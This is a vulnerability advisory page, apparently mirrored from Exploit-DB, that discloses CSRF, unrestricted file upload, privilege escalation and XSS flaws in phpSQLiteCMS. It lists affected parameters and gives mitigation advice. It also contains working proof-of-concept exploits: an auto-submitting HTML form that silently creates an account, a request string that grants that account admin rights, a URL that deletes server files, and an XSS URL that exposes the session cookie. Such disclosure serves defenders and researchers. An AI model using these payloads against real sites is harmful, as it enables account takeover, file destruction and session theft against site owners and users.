CSRF, Unrestricted File Upload, Privilege escalation & XSS

vendor:

ilosuna-phpsqlitecms-d9b8219

by:

John Page (hyp3rlinx)

8.8

CVSS

HIGH

CSRF, Unrestricted File Upload, Privilege escalation & XSS

352, 264, 79, 89

CWE

Product Name: ilosuna-phpsqlitecms-d9b8219

Affected Version From: ilosuna-phpsqlitecms-d9b8219

Affected Version To: ilosuna-phpsqlitecms-d9b8219

Patch Exists: NO

Related CWE: N/A

CPE: a:phpsqlitecms:ilosuna-phpsqlitecms-d9b8219

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows 7 SP1

2015

CSRF, Unrestricted File Upload, Privilege escalation & XSS

We can add arbitrary users to the system, delete arbitrary web server files and escalate privileges, as no CSRF token is present. Under users area in admin we can easily gain admin privileges, again using CSRF vulnerability we submit form using our id and change request variable to type '1' granting us admin privileges. The following request parameters are all we is need to delete files from media or files directorys under the web servers CMS area. We can steal PHP session cookie via XSS vulnerability. We can upload malicious files to the web server, as no file type restrictions are present.

Mitigation:

Implement CSRF token, restrict file type upload, implement proper authentication and authorization, and use input validation to prevent XSS attacks.

Source

Exploit-DB raw data:

# Exploit Title:  CSRF, Unrestricted File Upload, Privilege escalation & XSS
# Google Dork: intitle: CSRF, Unrestricted File Upload, Privilege
escalation & XSS
# Date: 2015-07-12
# Exploit Author:  John Page ( hyp3rlinx )
# Website: hyp3rlinx.altervista.org
# Vendor Homepage: phpsqlitecms.net
# Software Link: phpsqlitecms.net/download
# Version: ilosuna-phpsqlitecms-d9b8219
# Tested on: windows 7 SP1
# Category: Web apps CMS

Vendor:
================================
phpsqlitecms.net



Product:
================================
ilosuna-phpsqlitecms-d9b8219


Advisory Information:
==============================================================================
CSRF, Unrestricted File type upload, Privilege escalation & XSS
Vulnerabilities.
User will be affected if they visit a malicious website or click any
infected link.
Possibly resulting in malicious attackers taking control of the Admin / CMS
area.


Vulnerability Details:
=====================

CSRF:
-----
We can add arbitrary users to the system, delete arbitrary web server files
and escalate privileges, as no CSRF token is present.

Add arbitrary user:
-------------------
The following request variables are all that is needed to add users to
system.
mode = users
new_user_submitted = true
name = "hyp3rlinx"
pw = "12345"
pw_r = "12345"


Privilege escalation:
---------------------
Under users area in admin we can easily gain admin privileges, again using
CSRF vulnerability we
submit form using our id and change request variable to type '1' granting
us admin privileges.

e.g.

mode:users
edit_user_submitted:true
id:3
name:hyp3rlinx
new_pw:
new_pw_r:
type:1   <------make us admin


Delete arbitrary files:
------------------------
The following request parameters are all we is need to delete files from
media or files directorys
under the web servers CMS area.

mode=filemanager
directory=files
delete=index.html
confirmed=true


XSS:
-----
We can steal PHP session cookie via XSS vulnerability


Unrestricted File Type Upload:
------------------------------
The files & media dirs will happily take .PHP, .EXE etc... and PHP scripts
when selected will execute
whatever PHP script we upload.


Exploit code(s):
===============

1- CSRF POC Add arbitrary users to the system.
---------------------------------------------

<script>
function doit(){
var e=document.getElementById('evil')
e.submit()
}
</script>
</head>

<body onLoad="doit()">
<form id="evil" action="
http://localhost/ilosuna-phpsqlitecms-d9b8219/ilosuna-phpsqlitecms-d9b8219/cms/index.php"
method="post">
<input type="text" name="mode" value="users"/>
<input type="text" name="new_user_submitted" value="true"/>
<input type="text" name="name" value="hyp3rlinx" />
<input type="text" name="pw" value="abc123" />
<input type="text" name="pw_r" value="abc123" />
</form>


2- CSRF privilege escalation POST URL:
--------------------------------------
http://localhost/ilosuna-phpsqlitecms-d9b8219/ilosuna-phpsqlitecms-d9b8219/cms/index.php


Privilege escalation request string:
------------------------------------
mode=users&edit_user_submitted=true&id=3&name=hyp3rlinx&new_pw=&new_pw_r=&type=1


3- CSRF Delete Aribitary Server Files:
--------------------------------------
Below request URL will delete the index.html file in files dir on web
server without any type
of request validation CSRF token etc.


http://localhost/ilosuna-phpsqlitecms-d9b8219/ilosuna-phpsqlitecms-d9b8219/cms/index.php?mode=filemanager
&directory=files&delete=index.html&confirmed=true


XSS steal PHP session ID POC:
-----------------------------
http://localhost/ilosuna-phpsqlitecms-d9b8219/ilosuna-phpsqlitecms-d9b8219/cms/index.php?mode=comments&type=0&
edit=49&comment_id="/><script>alert('XSS by hyp3rlinx
'%2bdocument.cookie)</script>&page=1


Disclosure Timeline:
=========================================================


Vendor Notification:  NA
July 12, 2015  : Public Disclosure



Severity Level:
=========================================================
High



Description:
==========================================================


Request Method(s):             [+] POST & GET


Vulnerable Product:              [+] ilosuna-phpsqlitecms-d9b8219


Vulnerable Parameter(s):      [+] comment_id, delete, type,
new_user_submitted


Affected Area(s):                  [+] Admin & CMS


===========================================================

[+] Disclaimer
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author.
The author is not responsible for any misuse of the information contained
herein and prohibits any malicious use of all security related information
or exploits by the author or elsewhere.


(hyp3rlinx)